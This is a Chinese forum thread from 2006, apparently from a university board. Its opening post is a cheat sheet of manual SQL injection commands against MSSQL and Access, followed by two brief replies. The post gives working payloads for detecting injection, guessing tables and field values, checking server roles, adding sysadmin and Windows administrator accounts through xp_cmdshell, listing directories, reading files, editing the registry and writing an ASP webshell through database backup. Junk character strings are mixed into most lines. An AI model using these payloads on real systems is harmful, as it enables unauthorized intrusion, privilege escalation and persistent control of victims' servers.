社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5236阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 Z L3aO,G2  
  2.初步判断是否是mssql ;and user>0 )cMW,  
Ikkv <uY  
  3.注入参数是字符'and [查询条件] and ''=' Y68T&swD  
=DhzV D  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' '5Zt B<  
D&xb tJd  
  5.判断数据库系统 u'?yc"d>#  
M=}vDw]Q  
  ;and (select count(*) from sysobjects)>0 mssql `W8A *  
qGE?[\t[6  
  ;and (select count(*) from msysobjects)>0 access )7e[o8O_6  
9*@Kl`\  
-'tgr6=|w"  
bIP'(B#1K  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 95,{40;X7  
*Q<%(JJ  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 |$r|DX1[  
;btH[a iV  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 &DMKZMj<Q*  
DO!?]"  
  9.(1)猜字段的ascii值(access) 31n5n  
OOEmXb]8  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 SOyE$GoOsx  
cNW [i"  
  (2)猜字段的ascii值(mssql) P8JN m"C  
4No!`O-!&  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 FZM9aA  
5"Ibm D>D  
  10.测试权限结构(mssql) XeaO,P  
8q6b3q:c  
7kBULeBn|  
u"%i3%Yjh  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- V01-n{~G  
K#=)]qIk  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- HS|X//]  
oJF@O:A  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- {e4ILdXM  
f!`,!dZgkd  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4MVa[ 0Y  
`hD\u@5Tw  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2VOdI  
c1IK9X*  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ])= k";76  
 *q8L$D  
  ;and 1=(select IS_MEMBER('db_owner'));-- UQwLAXs  
acWm+  
Vo%MG.IPB  
y[*Bw)F\N  
  11.添加mssql和系统的帐户 zS*X9|p  
Z#wmEc.}C  
  ;exec master.dbo.sp_addlogin username;-- ^/Id!Y7  
  ;exec master.dbo.sp_password null,username,password;-- 5Pis0fa  
]_S&8F}|  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- =o5ZcC  
-Bqn^ E  
  ;exec master.dbo.xp_cmdshell 'net user username password ~;Ga65_6_  
aDx{Q&  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- H)$-T1Wx4  
U@<>2  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- Ix,`lFbH  
N#')Qz:P  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Go}C{(4T  
%Dg]n 4f  
#Nt? 4T<  
C:n55BE9  
  12.(1)遍历目录 vj I>TIy  
Vwp fkD`  
  ;create table dirs(paths varchar(100), id int) [@OXvdTV  
R qS2Qo]  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' %@Nuzdp  
taXS>*|B  
  ;and (select top 1 paths from dirs)>0 cvpcadN[  
E3#}:6m  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Y`QJcC(3  
Kc=&jCn  
tVUoUl  
.y{qsL^P  
  (2)遍历目录 goi5I(yn^  
tI&Z!fj  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- YCwfrz  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $X~4J  
+I0?D  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 -r_/b  
&eQF[8 ,  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 B Mh 949;  
3u7^*$S  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 /JL2dBy#z  
d18%zY>  
F/[vg  
k,S'i#4q4  
  13.mssql中的存储过程 c+/SvRx^>  
NZ/>nNs  
  xp_regenumvalues 注册表根键, 子键 />(e.)f  
SrfDl*  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 !o2lB^e8  
9g#L"T=  
  xp_regread 根键,子键,键值名 )p7WU?&I  
_dY6Ip%  
  ;exec xp_regread 4r!8_$fN?G  
]3<k>?  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 <qs>c<Vj  
=$UDa`}D  
  xp_regwrite 根键,子键, 值名, 值类型, 值 Kw}-<y  
4,kT4_&,  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Z |uII#lq  
'G3B02*  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 )/h~csy:~  
LuS] D%  
  xp_regdeletevalue 根键,子键,值名 %ci/(wL  
@cNX\$J  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 s5>=!yX  
6X5`npf  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Hd6g0  
5QU7!jb I  
2E^zQ>;01  
a!}.l< )  
  14.mssql的backup创建webshell wn[q?|1  
k/W$)b:Of`  
  use model 6;U]l.  
lL~T@+J~  
  create table cmd(str image); 0t<]Uf  
+]/_gz  
  insert into cmd(str) values (''); 5An| #^]  
MzRURH,  
  backup database model to disk='c:\l.asp'; ~HD:Y7  
CRvUD.D  
$[iSZ;  
#uJGXrGt=  
  15.mssql内置函数 r*<)QP^B~  
]?tsYXU j  
  ;and (select @@version)>0 获得Windows的版本号 <l(6$~(-u  
RuDn1h#u{  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa .WA(X5  
A {lzQO  
  ;and (select user_name())>0 爆当前系统的连接用户 (Vglcj  
=jjUwcl  
  ;and (select db_name())>0 得到当前连接的数据库 nmp(%;<exN  
6|3$43J,F  
/j!?qID  
QA\eXnR  
  16.简洁的webshell 2/f:VB?<T  
gT*0WgB  
  use model P]-d (N}/H  
 ] L4B  
  create table cmd(str image); j8?z@iG  
3!&lio+<  
  insert into cmd(str) values (''); ;=1]h&S  
O.e^? ysp/  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
枫
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录 或 注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五